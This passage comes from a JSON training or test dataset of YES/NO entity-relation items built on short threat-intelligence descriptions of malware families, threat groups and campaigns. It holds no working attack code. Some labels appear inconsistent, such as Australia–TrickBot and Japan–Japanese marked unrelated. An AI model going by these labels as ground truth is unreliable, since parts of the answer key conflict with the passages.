"You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: Europe\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nbig game hunting\n### Target Entity: Wizard Spider\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAustralia\n### Target Entity: TrickBot\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIn Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n### Target Entity: Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues\n### Text Passage:\nEnterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Evade Analysis Environment exist that can enable adversaries to bypass vetting.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT30\n### Target Entity: SHIPSHAPE\n### Text Passage:\nAPT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSHIPSHAPE\n### Target Entity: Autorun\n### Text Passage:\nAPT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSimBad\n### Target Entity: Google Play\n### Text Passage:\nSimBad was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSimBad\n### Target Entity: RXDroider\n### Text Passage:\nSimBad was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nParse Server\n### Target Entity: SimBad\n### Text Passage:\nSimBad was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBLACKCOFFEE\n### Target Entity: C2\n### Text Passage:\nBLACKCOFFEE has also obfuscated its C2 traffic as normal traffic to sites such as Github.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSTARWHALE\n### Target Entity: Windows\n### Text Passage:\nSTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMuddyWater\n### Target Entity: STARWHALE\n### Text Passage:\nSTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC3313\n### Target Entity: STARWHALE\n### Text Passage:\nSTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC3313\n### Target Entity: Golang\n### Text Passage:\nSTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHummingBad\n### Target Entity: Android\n### Text Passage:\nHummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAWKBALL\n### Target Entity: Equation Editor\n### Text Passage:\nHAWKBALL has used an OLE object that uses Equation Editor to drop the embedded shellcode.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nREvil\n### Target Entity: Ireland\n### Text Passage:\nSeveral apparent customers of the service reported they were unable to access BitMix in the last week. Furthermore, there will be ransomware operators that continue with their own operations despite all of this week\u2019s attention. On the same day as the coordinated announcements from REvil and Avaddon: Ireland's health service operator had to shut down all of its IT systems due to a \"significant\" ransomware attack.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvaddon\n### Target Entity: Ireland\n### Text Passage:\nSeveral apparent customers of the service reported they were unable to access BitMix in the last week. Furthermore, there will be ransomware operators that continue with their own operations despite all of this week\u2019s attention. On the same day as the coordinated announcements from REvil and Avaddon: Ireland's health service operator had to shut down all of its IT systems due to a \"significant\" ransomware attack.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeppy\n### Target Entity: Python\n### Text Passage:\nPeppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBackdoorDiplomacy\n### Target Entity: Turian\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurian\n### Target Entity: Ministries of Foreign Affairs\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurian\n### Target Entity: Africa\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurian\n### Target Entity: Europe\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurian\n### Target Entity: Middle East\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurian\n### Target Entity: Asia\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQuarian\n### Target Entity: Syria\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQuarian\n### Target Entity: United States\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUnited States\n### Target Entity: Turian\n### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinMM\n### Target Entity: C2\n### Text Passage:\nWinMM is usually configured with primary and backup domains for C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLoudMiner\n### Target Entity: VirtualBox\n### Text Passage:\nLoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLoudMiner\n### Target Entity: VBoxVmService\n### Text Passage:\nLoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nConcipit1248\n### Target Entity: iOS\n### Text Passage:\nConcipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCorona Updates\n### Target Entity: Android\n### Text Passage:\nConcipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nConcipit1248\n### Target Entity: C2\n### Text Passage:\nConcipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCorona Updates\n### Target Entity: C2\n### Text Passage:\nConcipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0027\n### Target Entity: Scattered Spider\n### Text Passage:\nC0027 was a financially-motivated campaign linked to Scattered Spider that targeted telecommunications and business process outsourcing (BPO) companies from at least June through December of 2022. During C0027 Scattered Spider used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: NotPetya\n### Text Passage:\nNotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInvoke-PSImage\n### Target Entity: PowerShell\n### Text Passage:\nInvoke-PSImage can be used to embed a PowerShell script within the pixels of a PNG file.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: Japan\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: South Korea\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: United States\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: Europe\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: Southeast Asian\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dust Storm\n### Target Entity: Japanese\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJapan\n### Target Entity: Japanese\n### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMosquito\n### Target Entity: whoami\n### Text Passage:\nMosquito runs whoami on the victim\u2019s machine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: TrickMo\n### Text Passage:\nTrickMo a 2FA bypass mobile banking trojan, most likely being distributed by TrickBot. TrickMo has been primarily targeting users located in Germany.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickMo\n### Target Entity: Germany\n### Text Passage:\nTrickMo a 2FA bypass mobile banking trojan, most likely being distributed by TrickBot. TrickMo has been primarily targeting users located in Germany.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: C#\n### Text Passage:\nIronNetInjector can identify processes via C# methods such as GetProcessesByName and running Tasklist with the Python os.popen function.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: Tasklist\n### Text Passage:\nIronNetInjector can identify processes via C# methods such as GetProcessesByName and running Tasklist with the Python os.popen function.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: Python\n### Text Passage:\nIronNetInjector can identify processes via C# methods such as GetProcessesByName and running Tasklist with the Python os.popen function.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPower Loader\n### Target Entity: Explorer\n### Text Passage:\nPower Loader overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExplorer\n### Target Entity: Power Loader\n### Text Passage:\nPower Loader overwrites Explorer\u2019s 